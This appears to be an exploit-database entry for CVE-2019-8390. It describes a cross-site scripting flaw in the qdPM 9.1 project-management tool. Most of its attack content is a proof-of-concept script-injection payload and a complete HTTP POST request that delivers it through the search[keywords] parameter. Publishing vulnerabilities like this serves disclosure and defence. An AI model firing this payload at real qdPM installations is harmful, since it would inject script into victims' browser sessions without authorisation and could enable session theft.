qdPM 9.1 - 'search[keywords]' Cross-Site Scripting

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# Exploit Title: qdPM 9.1 - 'search[keywords]' XSS Injection
# CVE: CVE-2019-8390
# Date: 14-02-2019
# Exploit Author: Mehmet EMIROGLU
# Vendor Homepage: http://qdpm.net
# Software Link: http://qdpm.net/download-qdpm-free-project-management
# Version: v9.1
# Category: Webapps
# Tested on: Wamp64, @Win
# Software description:
  Free project management tool for small team
  qdPM is a free web-based project management tool suitable for a small
team working on multiple projects.
  It is fully configurable. You can easy manage Projects, Tasks and People.
Customers interact
  using a Ticket System that is integrated into Task management.
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# POC - XSS
# Parameters : search[keywords]
# Attack Pattern : e"><script>zi2u(9111)</script>
# POST Request : http://localhost/qdpm/index.php/configuration
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POST /qdpm/index.php/users HTTP/1.1
Content-Length: 73
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost/qdPM/
Cookie: qdPM8=se4u27u8rbs04mo61f138b5k3d; sidebar_closed=1
Host: localhost
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML,
like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*

search[keywords]=e"><script>zi2u(9111)</script>&search_by_extrafields[]=9